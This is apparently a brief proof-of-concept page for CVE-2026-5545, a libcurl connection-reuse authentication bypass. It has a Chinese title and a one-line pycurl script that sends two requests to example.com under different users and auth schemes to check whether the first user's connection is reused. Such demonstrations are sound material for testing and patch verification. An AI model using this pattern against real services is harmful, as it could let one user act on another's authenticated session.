CVE-2026-5545 libcurl连接复用认证绕过漏洞

import pycurl from io import BytesIO # Simulate the vulnerable scenario buffer = BytesIO() c = pycurl.Curl() # Step 1: First request with Negotiate Auth (User1) c.setopt(c.URL, 'https://example.com/resource') c.setopt(c.HTTPAUTH, pycurl.HTTPAUTH_NEGOTIATE) c.setopt(c.USERPWD, 'user1:password1') c.setopt(c.WRITEDATA, buffer) c.perform() print("Request 1 sent with User1 credentials.") # Step 2: Second request with different auth (User2) # In vulnerable versions, this might reuse the connection from Step 1 c.setopt(c.USERPWD, 'user2:password2') c.setopt(c.HTTPAUTH, pycurl.HTTPAUTH_BASIC) # Switch to Basic or other buffer.seek(0) c.setopt(c.WRITEDATA, buffer) c.perform() print("Request 2 sent. If vulnerable, it used User1's connection.") c.close()